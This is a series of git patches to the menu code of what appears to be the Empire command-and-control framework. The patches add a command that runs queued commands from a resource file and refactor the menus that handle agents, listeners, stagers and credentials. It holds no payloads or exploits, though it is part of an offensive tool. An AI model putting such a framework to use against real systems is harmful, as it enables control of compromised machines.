             print helpers.color("[!] Error: invalid listener module")
         else:
             listenerMenu = ListenerMenu(self.mainMenu, parts[0])
-	    if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	        listenerMenu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
             listenerMenu.cmdloop()
 
 
@@ -3091,6 +3076,10 @@ class ListenerMenu(cmd.Cmd):
         # set the text prompt
         self.prompt = '(Empire: ' + helpers.color("listeners/%s" % (listenerName), 'red') + ') > '
 
+    def cmdloop(self):
+	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
+	cmd.Cmd.cmdloop(self)
 
     def emptyline(self):
         """
@@ -3278,6 +3267,11 @@ class ModuleMenu(cmd.Cmd):
         except Exception as e:
             print helpers.color("[!] ModuleMenu() init error: %s" % (e))
 
+    def cmdloop(self):
+	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
+	cmd.Cmd.cmdloop(self)
+
     # def preloop(self):
     #     traceback.print_stack()
 
@@ -3458,8 +3452,6 @@ class ModuleMenu(cmd.Cmd):
             print helpers.color("[!] Error: invalid module")
         else:
             module_menu = ModuleMenu(self.mainMenu, line, agent=self.module.options['Agent']['Value'])
-	    if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	        module_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
             module_menu.cmdloop()
 
 
@@ -3684,6 +3676,10 @@ class StagerMenu(cmd.Cmd):
             listener = self.mainMenu.listeners.get_listener(listener)
             self.stager.options['Listener']['Value'] = listener
 
+    def cmdloop(self):
+	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
+	cmd.Cmd.cmdloop(self)
 
     def validate_options(self):
         "Make sure all required stager options are completed."

From 4bf47277e7d4ee429a7d218a2a4e4c95ff0553d5 Mon Sep 17 00:00:00 2001
From: Carrie Roberts <@OrOneEqualsOne>
Date: Thu, 12 Oct 2017 15:45:07 -0600
Subject: [PATCH 06/50] using append instead of extend, and reading resource
 file

---
 lib/common/empire.py | 45 ++++++++++++++++++++++----------------------
 1 file changed, 22 insertions(+), 23 deletions(-)

diff --git a/lib/common/empire.py b/lib/common/empire.py
index 340579b..4584aba 100644
--- a/lib/common/empire.py
+++ b/lib/common/empire.py
@@ -272,7 +272,7 @@ class MainMenu(cmd.Cmd):
                     print "       " + helpers.color(str(num_agents), "green") + " agents currently active\n\n"
 
 		    if self.resourceQueue and len(self.resourceQueue) > 0:
-	    		self.cmdqueue = [self.resourceQueue.pop(0)]
+	    		self.cmdqueue.append(self.resourceQueue.pop(0))
 
                     cmd.Cmd.cmdloop(self)
 
@@ -382,7 +382,7 @@ class MainMenu(cmd.Cmd):
 
     def postcmd(self, stop, line):
 	if self.resourceQueue and len(self.resourceQueue) > 0:
-	    self.cmdqueue = [self.resourceQueue.pop(0)]
+	    self.cmdqueue.append(self.resourceQueue.pop(0))
 
 	
 
@@ -390,9 +390,10 @@ class MainMenu(cmd.Cmd):
         "Default handler."
         pass
 
-    def do_resource(self, line):
-	self.resourceQueue = ["listeners","uselistener http","set Name http81","set DefaultProfile some/default/profile,some/other,and/one/more", "set Host 1.2.3.4","set Port 81","info","execute","back","?","?","agents","back","listeners","uselistener http","set Name http82","set Port 82","execute","listeners","kill http81","kill http82"]
-	#self.resourceQueue = ["agents","?","?"]
+    def do_resource(self, arg):
+	self.resourceQueue = []
+	with open(arg) as f:
+	    self.resourceQueue.extend(f.read().splitlines())
 
     def do_exit(self, line):
         "Exit Empire"
@@ -931,7 +932,7 @@ class AgentsMenu(cmd.Cmd):
 
     def cmdloop(self):
 	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
+	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
 	cmd.Cmd.cmdloop(self)
 
     def emptyline(self):
@@ -939,8 +940,7 @@ class AgentsMenu(cmd.Cmd):
 
     def postcmd(self, stop, line):
 	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    nextcmd = self.mainMenu.resourceQueue.pop(0)
-	    self.cmdqueue = [nextcmd]
+	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
 
     def do_back(self, line):
         "Go back to the main menu."
@@ -1478,7 +1478,7 @@ class PowerShellAgentMenu(cmd.Cmd):
 
     def cmdloop(self):
 	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
+	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
 	cmd.Cmd.cmdloop(self)
 
     # def preloop(self):
@@ -1557,7 +1557,7 @@ class PowerShellAgentMenu(cmd.Cmd):
 
     def postcmd(self, stop, line):
 	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
+	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
 
     def do_agents(self, line):
         "Jump to the Agents menu."
@@ -2311,7 +2311,7 @@ class PythonAgentMenu(cmd.Cmd):
 
     def cmdloop(self):
 	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
+	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
 	cmd.Cmd.cmdloop(self)
     # def preloop(self):
     #     traceback.print_stack()
@@ -2363,7 +2363,7 @@ class PythonAgentMenu(cmd.Cmd):
 
     def postcmd(self, stop, line):
 	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
+	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
 
     def do_agents(self, line):
         "Jump to the Agents menu."
@@ -2712,8 +2712,6 @@ class PythonAgentMenu(cmd.Cmd):
             print helpers.color("[!] Error: invalid module")
         else:
             module_menu = ModuleMenu(self.mainMenu, module, agent=self.sessionID)
-##	    if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-##	        module_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
             module_menu.cmdloop()
 
 
@@ -2853,7 +2851,7 @@ class ListenersMenu(cmd.Cmd):
 
     def cmdloop(self):
 	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
+	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
 	cmd.Cmd.cmdloop(self)
 
     # def preloop(self):
@@ -2880,9 +2878,10 @@ class ListenersMenu(cmd.Cmd):
         raise NavMain()
 
     def postcmd(self, stop, line):
+	print "in postcmd listeners"
 	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    nextcmd = self.mainMenu.resourceQueue.pop(0)
-	    self.cmdqueue = [nextcmd]
+	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
+	print 6
 
     def do_agents(self, line):
         "Jump to the Agents menu."
@@ -3078,7 +3077,7 @@ class ListenerMenu(cmd.Cmd):
 
     def cmdloop(self):
 	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
+	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
 	cmd.Cmd.cmdloop(self)
 
     def emptyline(self):
@@ -3094,7 +3093,7 @@ class ListenerMenu(cmd.Cmd):
 
     def postcmd(self, stop, line):
 	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
+	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
 
     def do_agents(self, line):
         "Jump to the Agents menu."
@@ -3269,7 +3268,7 @@ class ModuleMenu(cmd.Cmd):
 
     def cmdloop(self):
 	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
+	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
 	cmd.Cmd.cmdloop(self)
 
     # def preloop(self):
@@ -3344,7 +3343,7 @@ class ModuleMenu(cmd.Cmd):
 
     def postcmd(self, stop, line):
 	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
+	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
 
     def do_agents(self, line):
         "Jump to the Agents menu."
@@ -3678,7 +3677,7 @@ class StagerMenu(cmd.Cmd):
 
     def cmdloop(self):
 	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
+	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
 	cmd.Cmd.cmdloop(self)
 
     def validate_options(self):
@@ -3720,7 +3719,7 @@ class StagerMenu(cmd.Cmd):
 
     def postcmd(self, stop, line):
 	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
+	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
 
     def do_agents(self, line):
         "Jump to the Agents menu."

From 753c2e20de4c3b57cf17d57bf2062fdd13d34db2 Mon Sep 17 00:00:00 2001
From: Carrie Roberts <@OrOneEqualsOne>
Date: Thu, 12 Oct 2017 15:53:32 -0600
Subject: [PATCH 07/50] added resource file functionality as in Metasploit

---
 lib/common/empire.py | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/lib/common/empire.py b/lib/common/empire.py
index 4584aba..da7a7af 100644
--- a/lib/common/empire.py
+++ b/lib/common/empire.py
@@ -956,6 +956,10 @@ class AgentsMenu(cmd.Cmd):
         "Go back to the main menu."
         raise NavMain()
 
+    def do_resource(self, arg):
+	self.mainMenu.resourceQueue = []
+	with open(arg) as f:
+	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
 
     def do_exit(self, line):
         "Exit Empire."
@@ -1618,6 +1622,10 @@ class PowerShellAgentMenu(cmd.Cmd):
         agent = self.mainMenu.agents.get_agent_db(self.sessionID)
         messages.display_agent(agent)
 
+    def do_resource(self, arg):
+	self.mainMenu.resourceQueue = []
+	with open(arg) as f:
+	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
 
     def do_exit(self, line):
         "Task agent to exit."
@@ -2419,6 +2427,10 @@ class PythonAgentMenu(cmd.Cmd):
         agent = self.mainMenu.agents.get_agent_db(self.sessionID)
         messages.display_agent(agent)
 
+    def do_resource(self, arg):
+	self.mainMenu.resourceQueue = []
+	with open(arg) as f:
+	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
 
     def do_exit(self, line):
         "Task agent to exit."
@@ -2892,6 +2904,10 @@ class ListenersMenu(cmd.Cmd):
         "Go back to the main menu."
         raise NavMain()
 
+    def do_resource(self, arg):
+	self.mainMenu.resourceQueue = []
+	with open(arg) as f:
+	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
 
     def do_exit(self, line):
         "Exit Empire."
@@ -3109,6 +3125,10 @@ class ListenerMenu(cmd.Cmd):
         "Go back to the main menu."
         raise NavMain()
 
+    def do_resource(self, arg):
+	self.mainMenu.resourceQueue = []
+	with open(arg) as f:
+	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
 
     def do_exit(self, line):
         "Exit Empire."
@@ -3359,6 +3379,10 @@ class ModuleMenu(cmd.Cmd):
         "Go back to the main menu."
         raise NavMain()
 
+    def do_resource(self, arg):
+	self.mainMenu.resourceQueue = []
+	with open(arg) as f:
+	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
 
     def do_exit(self, line):
         "Exit Empire."
@@ -3735,6 +3759,10 @@ class StagerMenu(cmd.Cmd):
         "Go back to the main menu."
         raise NavMain()
 
+    def do_resource(self, arg):
+	self.mainMenu.resourceQueue = []
+	with open(arg) as f:
+	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
 
     def do_exit(self, line):
         "Exit Empire."

From 67483f40081b9002a191dc9f0e7a1cd2d7b536c3 Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Thu, 12 Oct 2017 18:26:09 -0400
Subject: [PATCH 08/50] Update Version string

---
 lib/common/empire.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/common/empire.py b/lib/common/empire.py
index 5d08e9e..08a07dc 100644
--- a/lib/common/empire.py
+++ b/lib/common/empire.py
@@ -9,7 +9,7 @@ menu loops.
 """
 
 # make version for Empire
-VERSION = "2.1"
+VERSION = "2.2"
 
 from pydispatch import dispatcher
 

From 16267f983c2a7f12364f500f744f7acf34e17461 Mon Sep 17 00:00:00 2001
From: Carrie Roberts <@OrOneEqualsOne>
Date: Thu, 12 Oct 2017 16:29:51 -0600
Subject: [PATCH 09/50] removed debug statements

---
 lib/common/empire.py | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/lib/common/empire.py b/lib/common/empire.py
index da7a7af..3dee134 100644
--- a/lib/common/empire.py
+++ b/lib/common/empire.py
@@ -2890,10 +2890,8 @@ class ListenersMenu(cmd.Cmd):
         raise NavMain()
 
     def postcmd(self, stop, line):
-	print "in postcmd listeners"
 	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
 	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
-	print 6
 
     def do_agents(self, line):
         "Jump to the Agents menu."
@@ -3836,7 +3834,6 @@ class StagerMenu(cmd.Cmd):
 
     def do_generate(self, line):
         "Generate/execute the given Empire stager."
-
         if not self.validate_options():
             return
 
@@ -3867,7 +3864,6 @@ class StagerMenu(cmd.Cmd):
                 os.chmod(savePath, 777)
 
             print "\n" + helpers.color("[*] Stager output written out to: %s\n" % (savePath))
-
         else:
             print stagerOutput
 

From 7f4988e951d2f89f842c2a514555e2afc80dd789 Mon Sep 17 00:00:00 2001
From: Carrie Roberts <@OrOneEqualsOne>
Date: Thu, 12 Oct 2017 21:28:45 -0600
Subject: [PATCH 10/50] added help text for resource command

---
 lib/common/empire.py | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/lib/common/empire.py b/lib/common/empire.py
index 3dee134..ec08771 100644
--- a/lib/common/empire.py
+++ b/lib/common/empire.py
@@ -391,6 +391,7 @@ class MainMenu(cmd.Cmd):
         pass
 
     def do_resource(self, arg):
+	"Read and execute a list of Empire commands from a file."
 	self.resourceQueue = []
 	with open(arg) as f:
 	    self.resourceQueue.extend(f.read().splitlines())
@@ -957,6 +958,7 @@ class AgentsMenu(cmd.Cmd):
         raise NavMain()
 
     def do_resource(self, arg):
+	"Read and execute a list of Empire commands from a file."
 	self.mainMenu.resourceQueue = []
 	with open(arg) as f:
 	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
@@ -1623,6 +1625,7 @@ class PowerShellAgentMenu(cmd.Cmd):
         messages.display_agent(agent)
 
     def do_resource(self, arg):
+	"Read and execute a list of Empire commands from a file."
 	self.mainMenu.resourceQueue = []
 	with open(arg) as f:
 	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
@@ -2428,6 +2431,7 @@ class PythonAgentMenu(cmd.Cmd):
         messages.display_agent(agent)
 
     def do_resource(self, arg):
+	"Read and execute a list of Empire commands from a file."
 	self.mainMenu.resourceQueue = []
 	with open(arg) as f:
 	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
@@ -2903,6 +2907,7 @@ class ListenersMenu(cmd.Cmd):
         raise NavMain()
 
     def do_resource(self, arg):
+	"Read and execute a list of Empire commands from a file."
 	self.mainMenu.resourceQueue = []
 	with open(arg) as f:
 	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
@@ -3124,6 +3129,7 @@ class ListenerMenu(cmd.Cmd):
         raise NavMain()
 
     def do_resource(self, arg):
+	"Read and execute a list of Empire commands from a file."
 	self.mainMenu.resourceQueue = []
 	with open(arg) as f:
 	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
@@ -3378,6 +3384,7 @@ class ModuleMenu(cmd.Cmd):
         raise NavMain()
 
     def do_resource(self, arg):
+	"Read and execute a list of Empire commands from a file."
 	self.mainMenu.resourceQueue = []
 	with open(arg) as f:
 	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
@@ -3758,6 +3765,7 @@ class StagerMenu(cmd.Cmd):
         raise NavMain()
 
     def do_resource(self, arg):
+	"Read and execute a list of Empire commands from a file."
 	self.mainMenu.resourceQueue = []
 	with open(arg) as f:
 	    self.mainMenu.resourceQueue.extend(f.read().splitlines())

From 8a1d076d14fdfeca1d1a9705d9c6b07fd95f3cbe Mon Sep 17 00:00:00 2001
From: Carrie Roberts <@OrOneEqualsOne>
Date: Fri, 13 Oct 2017 10:31:35 -0600
Subject: [PATCH 11/50] refactoring submenu's to not duplicate so much code

---
 lib/common/empire.py | 434 ++++++-------------------------------------
 1 file changed, 56 insertions(+), 378 deletions(-)

diff --git a/lib/common/empire.py b/lib/common/empire.py
index ec08771..0344f70 100644
--- a/lib/common/empire.py
+++ b/lib/common/empire.py
@@ -229,11 +229,6 @@ class MainMenu(cmd.Cmd):
             print helpers.color("[!] Please run database_setup.py")
             sys.exit()
 
-
-    # def preloop(self):
-    #     traceback.print_stack()
-
-
     def cmdloop(self):
         """
         The main cmdloop logic that handles navigation to other menus.
@@ -899,38 +894,13 @@ class MainMenu(cmd.Cmd):
         mline = line.partition(' ')[2]
         offs = len(mline) - len(text)
         return [s[offs:] for s in options if s.startswith(mline)]
-    
 
-class AgentsMenu(cmd.Cmd):
-    """
-    The main class used by Empire to drive the 'agents' menu.
-    """
+class SubMenu(cmd.Cmd):
+
     def __init__(self, mainMenu):
         cmd.Cmd.__init__(self)
-
         self.mainMenu = mainMenu
 
-        self.doc_header = 'Commands'
-
-        # set the prompt text
-        self.prompt = '(Empire: ' + helpers.color("agents", color="blue") + ') > '
-
-        messages.display_agents(self.mainMenu.agents.get_agents_db())
-
-    # def preloop(self):
-    #     traceback.print_stack()
-
-    # print a nicely formatted help menu
-    #   stolen/adapted from recon-ng
-    def print_topics(self, header, commands, cmdlen, maxcol):
-        if commands:
-            self.stdout.write("%s\n" % str(header))
-            if self.ruler:
-                self.stdout.write("%s\n" % str(self.ruler * len(header)))
-            for command in commands:
-                self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
-            self.stdout.write("\n")
-
     def cmdloop(self):
 	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
 	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
@@ -940,19 +910,19 @@ class AgentsMenu(cmd.Cmd):
         pass
 
     def postcmd(self, stop, line):
+	if line == "back":
+	    return True
 	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
 	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
 
     def do_back(self, line):
-        "Go back to the main menu."
-        raise NavMain()
-
+	"Go back a menu."
+	return True
 
     def do_listeners(self, line):
         "Jump to the listeners menu."
         raise NavListeners()
 
-
     def do_main(self, line):
         "Go back to the main menu."
         raise NavMain()
@@ -967,6 +937,41 @@ class AgentsMenu(cmd.Cmd):
         "Exit Empire."
         raise KeyboardInterrupt
 
+    def do_creds(self, line):
+        "Display/return credentials from the database."
+        self.mainMenu.do_creds(line)
+
+    # print a nicely formatted help menu
+    #   stolen/adapted from recon-ng
+    def print_topics(self, header, commands, cmdlen, maxcol):
+        if commands:
+            self.stdout.write("%s\n" % str(header))
+            if self.ruler:
+                self.stdout.write("%s\n" % str(self.ruler * len(header)))
+            for command in commands:
+                self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
+            self.stdout.write("\n")
+
+    # def preloop(self):
+    #     traceback.print_stack()
+
+class AgentsMenu(SubMenu):
+    """
+    The main class used by Empire to drive the 'agents' menu.
+    """
+    def __init__(self, mainMenu):
+        SubMenu.__init__(self, mainMenu)
+
+        self.doc_header = 'Commands'
+
+        # set the prompt text
+        self.prompt = '(Empire: ' + helpers.color("agents", color="blue") + ') > '
+
+        messages.display_agents(self.mainMenu.agents.get_agents_db())
+
+    def do_back(self, line):
+        "Go back to the main menu."
+        raise NavMain()
 
     def do_list(self, line):
         "Lists all active agents (or listeners)."
@@ -978,7 +983,6 @@ class AgentsMenu(cmd.Cmd):
         else:
             self.mainMenu.do_list("agents " + str(line))
 
-
     def do_rename(self, line):
         "Rename a particular agent."
 
@@ -1035,12 +1039,6 @@ class AgentsMenu(cmd.Cmd):
             except KeyboardInterrupt:
                 print ''
 
-
-    def do_creds(self, line):
-        "Display/return credentials from the database."
-        self.mainMenu.do_creds(line)
-
-
     def do_clear(self, line):
         "Clear one or more agent's taskings."
 
@@ -1434,7 +1432,7 @@ class AgentsMenu(cmd.Cmd):
         return self.mainMenu.complete_creds(text, line, begidx, endidx)
 
 
-class AgentMenu(cmd.Cmd):
+class AgentMenu(SubMenu):
     """
     An abstracted class used by Empire to determine which agent menu type
     to instantiate.
@@ -1452,15 +1450,14 @@ class AgentMenu(cmd.Cmd):
         else:
             print helpers.color("[!] Agent language %s not recognized." % (agentLanguage))
 
-class PowerShellAgentMenu(cmd.Cmd):
+class PowerShellAgentMenu(SubMenu):
     """
     The main class used by Empire to drive an individual 'agent' menu.
     """
     def __init__(self, mainMenu, sessionID):
 
-        cmd.Cmd.__init__(self)
+        SubMenu.__init__(self, mainMenu)
 
-        self.mainMenu = mainMenu
         self.sessionID = sessionID
         self.doc_header = 'Agent Commands'
 
@@ -1482,11 +1479,6 @@ class PowerShellAgentMenu(cmd.Cmd):
         # listen for messages from this specific agent
         dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any)
 
-    def cmdloop(self):
-	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
-	cmd.Cmd.cmdloop(self)
-
     # def preloop(self):
     #     traceback.print_stack()
 
@@ -1520,23 +1512,6 @@ class PowerShellAgentMenu(cmd.Cmd):
             if (str(self.sessionID) in signal) or (str(name) in signal):
                 print helpers.color(signal)
 
-
-    # print a nicely formatted help menu
-    #   stolen/adapted from recon-ng
-    def print_topics(self, header, commands, cmdlen, maxcol):
-        if commands:
-            self.stdout.write("%s\n" % str(header))
-            if self.ruler:
-                self.stdout.write("%s\n" % str(self.ruler * len(header)))
-            for command in commands:
-                self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
-            self.stdout.write("\n")
-
-
-    def emptyline(self):
-        pass
-
-
     def default(self, line):
         "Default handler"
 
@@ -1556,30 +1531,6 @@ class PowerShellAgentMenu(cmd.Cmd):
                 print helpers.color("[!] Command not recognized.")
                 print helpers.color("[*] Use 'help' or 'help agentcmds' to see available commands.")
 
-
-    def do_back(self, line):
-        "Go back a menu."
-        return True
-
-    def postcmd(self, stop, line):
-	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
-
-    def do_agents(self, line):
-        "Jump to the Agents menu."
-        raise NavAgents()
-
-
-    def do_listeners(self, line):
-        "Jump to the listeners menu."
-        raise NavListeners()
-
-
-    def do_main(self, line):
-        "Go back to the main menu."
-        raise NavMain()
-
-
     def do_help(self, *args):
         "Displays the help menu or syntax for particular commands."
 
@@ -1587,8 +1538,7 @@ class PowerShellAgentMenu(cmd.Cmd):
             print "\n" + helpers.color("[*] Available opsec-safe agent commands:\n")
             print "     " + messages.wrap_columns(", ".join(self.agentCommands), ' ', width1=50, width2=10, indent=5) + "\n"
         else:
-            cmd.Cmd.do_help(self, *args)
-
+            SubMenu.do_help(self, *args)
 
     def do_list(self, line):
         "Lists all active agents (or listeners)."
@@ -1600,7 +1550,6 @@ class PowerShellAgentMenu(cmd.Cmd):
         else:
             print helpers.color("[!] Please use 'list [agents/listeners] <modifier>'.")
 
-
     def do_rename(self, line):
         "Rename the agent."
 
@@ -1616,7 +1565,6 @@ class PowerShellAgentMenu(cmd.Cmd):
         else:
             print helpers.color("[!] Please enter a new name for the agent")
 
-
     def do_info(self, line):
         "Display information about this agent"
 
@@ -1624,12 +1572,6 @@ class PowerShellAgentMenu(cmd.Cmd):
         agent = self.mainMenu.agents.get_agent_db(self.sessionID)
         messages.display_agent(agent)
 
-    def do_resource(self, arg):
-	"Read and execute a list of Empire commands from a file."
-	self.mainMenu.resourceQueue = []
-	with open(arg) as f:
-	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
-
     def do_exit(self, line):
         "Task agent to exit."
 
@@ -2293,13 +2235,11 @@ class PowerShellAgentMenu(cmd.Cmd):
         return self.mainMenu.complete_creds(text, line, begidx, endidx)
 
 
-class PythonAgentMenu(cmd.Cmd):
+class PythonAgentMenu(SubMenu):
 
     def __init__(self, mainMenu, sessionID):
 
-        cmd.Cmd.__init__(self)
-
-        self.mainMenu = mainMenu
+        SubMenu.__init__(self, mainMenu)
 
         self.sessionID = sessionID
 
@@ -2320,13 +2260,6 @@ class PythonAgentMenu(cmd.Cmd):
         if results:
             print "\n" + results.rstrip('\r\n')
 
-    def cmdloop(self):
-	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
-	cmd.Cmd.cmdloop(self)
-    # def preloop(self):
-    #     traceback.print_stack()
-
     def handle_agent_event(self, signal, sender):
         """
         Handle agent event signals.
@@ -2346,54 +2279,13 @@ class PythonAgentMenu(cmd.Cmd):
             if (str(self.sessionID) in signal) or (str(name) in signal):
                 print helpers.color(signal)
 
-
-    # print a nicely formatted help menu
-    #   stolen/adapted from recon-ng
-    def print_topics(self, header, cmds, cmdlen, maxcol):
-        if cmds:
-            self.stdout.write("%s\n" % str(header))
-            if self.ruler:
-                self.stdout.write("%s\n" % str(self.ruler * len(header)))
-            for c in cmds:
-                self.stdout.write("%s %s\n" % (c.ljust(17), getattr(self, 'do_' + c).__doc__))
-            self.stdout.write("\n")
-
-
-    def emptyline(self):
-        pass
-
-
     def default(self, line):
         "Default handler"
         print helpers.color("[!] Command not recognized, use 'help' to see available commands")
 
-
-    def do_back(self, line):
-        "Go back a menu."
-        return True
-
-    def postcmd(self, stop, line):
-	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
-
-    def do_agents(self, line):
-        "Jump to the Agents menu."
-        raise NavAgents()
-
-
-    def do_listeners(self, line):
-        "Jump to the listeners menu."
-        raise NavListeners()
-
-
-    def do_main(self, line):
-        "Go back to the main menu."
-        raise NavMain()
-
-
     def do_help(self, *args):
         "Displays the help menu or syntax for particular commands."
-        cmd.Cmd.do_help(self, *args)
+        SubMenu.do_help(self, *args)
 
 
     def do_list(self, line):
@@ -2848,14 +2740,12 @@ class PythonAgentMenu(cmd.Cmd):
     #     return helpers.complete_path(text,line)
 
 
-class ListenersMenu(cmd.Cmd):
+class ListenersMenu(SubMenu):
     """
     The main class used by Empire to drive the 'listener' menu.
     """
     def __init__(self, mainMenu):
-        cmd.Cmd.__init__(self)
-
-        self.mainMenu = mainMenu
+        SubMenu.__init__(self, mainMenu)
 
         self.doc_header = 'Listener Commands'
 
@@ -2865,58 +2755,10 @@ class ListenersMenu(cmd.Cmd):
         # display all active listeners on menu startup
         messages.display_active_listeners(self.mainMenu.listeners.activeListeners)
 
-    def cmdloop(self):
-	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
-	cmd.Cmd.cmdloop(self)
-
-    # def preloop(self):
-    #     traceback.print_stack()
-
-    # print a nicely formatted help menu
-    # stolen/adapted from recon-ng
-    def print_topics(self, header, commands, cmdlen, maxcol):
-        if commands:
-            self.stdout.write("%s\n" % str(header))
-            if self.ruler:
-                self.stdout.write("%s\n" % str(self.ruler * len(header)))
-            for command in commands:
-                self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
-            self.stdout.write("\n")
-
-
-    def emptyline(self):
-        pass
-
-
     def do_back(self, line):
         "Go back to the main menu."
         raise NavMain()
 
-    def postcmd(self, stop, line):
-	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
-
-    def do_agents(self, line):
-        "Jump to the Agents menu."
-        raise NavAgents()
-
-
-    def do_main(self, line):
-        "Go back to the main menu."
-        raise NavMain()
-
-    def do_resource(self, arg):
-	"Read and execute a list of Empire commands from a file."
-	self.mainMenu.resourceQueue = []
-	with open(arg) as f:
-	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
-
-    def do_exit(self, line):
-        "Exit Empire."
-        raise KeyboardInterrupt
-
-
     def do_list(self, line):
         "List all active listeners (or agents)."
 
@@ -3074,13 +2916,11 @@ class ListenersMenu(cmd.Cmd):
         return [s[offs:] for s in names if s.startswith(mline)]
 
 
-class ListenerMenu(cmd.Cmd):
+class ListenerMenu(SubMenu):
 
     def __init__(self, mainMenu, listenerName):
 
-        cmd.Cmd.__init__(self)
-
-        self.mainMenu = mainMenu
+        SubMenu.__init__(self, mainMenu)
 
